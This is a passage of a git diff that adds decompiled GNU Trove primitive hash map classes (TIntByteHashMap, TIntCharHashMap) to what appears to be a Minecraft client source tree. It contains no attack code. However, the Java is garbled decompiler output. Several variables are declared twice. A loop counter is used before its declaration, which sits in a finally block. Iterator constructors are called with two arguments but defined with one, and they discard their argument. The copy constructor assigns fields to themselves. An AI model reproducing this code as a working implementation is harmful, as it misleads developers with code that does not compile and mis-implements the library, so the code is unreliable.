+      }
+    }
+  }
+  
+
+  public byte put(int key, byte value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public byte putIfAbsent(int key, byte value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private byte doPut(int key, byte value, int index)
+  {
+    byte previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Integer, ? extends Byte> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Integer, ? extends Byte> entry : map.entrySet()) {
+      put(((Integer)entry.getKey()).intValue(), ((Byte)entry.getValue()).byteValue());
+    }
+  }
+  
+
+  public void putAll(TIntByteMap map)
+  {
+    ensureCapacity(map.size());
+    TIntByteIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public byte get(int key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public byte remove(int key)
+  {
+    byte prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TIntSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public int[] keys()
+  {
+    int[] keys = new int[size()];
+    int[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public int[] keys(int[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new int[size];
+    }
+    
+    int[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TByteCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public byte[] values()
+  {
+    byte[] vals = new byte[size()];
+    byte[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public byte[] values(byte[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new byte[size];
+    }
+    
+    byte[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(byte val)
+  {
+    byte[] states = _states;
+    byte[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(int key)
+  {
+    return contains(key);
+  }
+  
+
+  public TIntByteIterator iterator()
+  {
+    return new TIntByteHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TIntProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TByteProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TIntByteProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] keys = _set;
+    byte[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TByteFunction function)
+  {
+    byte[] states = _states;
+    byte[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TIntByteProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    int[] keys = _set;
+    byte[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(int key)
+  {
+    return adjustValue(key, (byte)1);
+  }
+  
+
+  public boolean adjustValue(int key, byte amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; byte[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((byte)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public byte adjustOrPutValue(int key, byte adjust_amount, byte put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    byte newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; byte[] tmp25_20 = _values;byte newValue = tmp25_20[tmp25_23] = (byte)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TIntSet
+  {
+    protected TKeyView() {}
+    
+    public TIntIterator iterator()
+    {
+      return new TIntByteHashMap.TIntByteKeyHashIterator(TIntByteHashMap.this, TIntByteHashMap.this);
+    }
+    
+
+    public int getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(int entry)
+    {
+      return TIntByteHashMap.this.contains(entry);
+    }
+    
+
+    public int[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public int[] toArray(int[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(int entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(int entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int ele = ((Integer)element).intValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TIntCollection collection)
+    {
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(int[] array)
+    {
+      for (int element : array) {
+        if (!TIntByteHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Integer> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TIntCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(int[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Integer.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(int[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      int[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int c = ((Integer)element).intValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        int element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(int[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TIntByteHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TIntProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TIntSet)) {
+        return false;
+      }
+      TIntSet that = (TIntSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TIntProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(int key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TByteCollection
+  {
+    protected TValueView() {}
+    
+    public TByteIterator iterator()
+    {
+      return new TIntByteHashMap.TIntByteValueHashIterator(TIntByteHashMap.this, TIntByteHashMap.this);
+    }
+    
+
+    public byte getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(byte entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public byte[] toArray()
+    {
+      return values();
+    }
+    
+
+    public byte[] toArray(byte[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(byte entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(byte entry)
+    {
+      byte[] values = _values;
+      int[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte ele = ((Byte)element).byteValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TByteCollection collection)
+    {
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(byte[] array)
+    {
+      for (byte element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Byte> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TByteCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(byte[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Byte.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(byte[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      byte[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte c = ((Byte)element).byteValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        byte element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(byte[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TIntByteHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TByteProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TByteProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(byte value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TIntByteKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TIntIterator
+  {
+    TIntByteKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public int next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TIntByteValueHashIterator
+    extends THashPrimitiveIterator
+    implements TByteIterator
+  {
+    TIntByteValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public byte next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TIntByteHashIterator
+    extends THashPrimitiveIterator
+    implements TIntByteIterator
+  {
+    TIntByteHashIterator(TIntByteHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public int key()
+    {
+      return _set[_index];
+    }
+    
+    public byte value()
+    {
+      return _values[_index];
+    }
+    
+    public byte setValue(byte val)
+    {
+      byte old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TIntByteMap)) {
+      return false;
+    }
+    TIntByteMap that = (TIntByteMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    byte[] values = _values;
+    byte[] states = _states;
+    byte this_no_entry_value = getNoEntryValue();
+    byte that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        int key = _set[i];
+        byte that_value = that.get(key);
+        byte this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TIntByteProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(int key, byte value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeInt(_set[i]);
+        out.writeByte(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      int key = in.readInt();
+      byte val = in.readByte();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TIntCharHashMap.java b/src/minecraft/gnu/trove/map/hash/TIntCharHashMap.java
new file mode 100644
index 0000000..9438d23
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TIntCharHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TIntCharHash;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.iterator.TIntCharIterator;
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.map.TIntCharMap;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TIntCharProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TIntSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntCharHashMap
+  extends TIntCharHash
+  implements TIntCharMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient char[] _values;
+  
+  public TIntCharHashMap() {}
+  
+  public TIntCharHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TIntCharHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TIntCharHashMap(int initialCapacity, float loadFactor, int noEntryKey, char noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TIntCharHashMap(int[] keys, char[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TIntCharHashMap(TIntCharMap map)
+  {
+    super(map.size());
+    if ((map instanceof TIntCharHashMap)) {
+      TIntCharHashMap hashmap = (TIntCharHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new char[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    int[] oldKeys = _set;
+    char[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new int[newCapacity];
+    _values = new char[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        int o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public char put(int key, char value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public char putIfAbsent(int key, char value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private char doPut(int key, char value, int index)
+  {
+    char previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Integer, ? extends Character> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Integer, ? extends Character> entry : map.entrySet()) {
+      put(((Integer)entry.getKey()).intValue(), ((Character)entry.getValue()).charValue());
+    }
+  }
+  
+
+  public void putAll(TIntCharMap map)
+  {
+    ensureCapacity(map.size());
+    TIntCharIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public char get(int key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public char remove(int key)
+  {
+    char prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TIntSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public int[] keys()
+  {
+    int[] keys = new int[size()];
+    int[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public int[] keys(int[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new int[size];
+    }
+    
+    int[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TCharCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public char[] values()
+  {
+    char[] vals = new char[size()];
+    char[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public char[] values(char[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new char[size];
+    }
+    
+    char[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(char val)
+  {
+    byte[] states = _states;
+    char[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(int key)
+  {
+    return contains(key);
+  }
+  
+
+  public TIntCharIterator iterator()
+  {
+    return new TIntCharHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TIntProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TCharProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TIntCharProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] keys = _set;
+    char[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TCharFunction function)
+  {
+    byte[] states = _states;
+    char[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TIntCharProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    int[] keys = _set;
+    char[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(int key)
+  {
+    return adjustValue(key, '\001');
+  }
+  
+
+  public boolean adjustValue(int key, char amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; char[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((char)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public char adjustOrPutValue(int key, char adjust_amount, char put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    char newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; char[] tmp25_20 = _values;char newValue = tmp25_20[tmp25_23] = (char)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TIntSet
+  {
+    protected TKeyView() {}
+    
+    public TIntIterator iterator()
+    {
+      return new TIntCharHashMap.TIntCharKeyHashIterator(TIntCharHashMap.this, TIntCharHashMap.this);
+    }
+    
+
+    public int getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(int entry)
+    {
+      return TIntCharHashMap.this.contains(entry);
+    }
+    
+
+    public int[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public int[] toArray(int[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(int entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(int entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int ele = ((Integer)element).intValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TIntCollection collection)
+    {
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(int[] array)
+    {
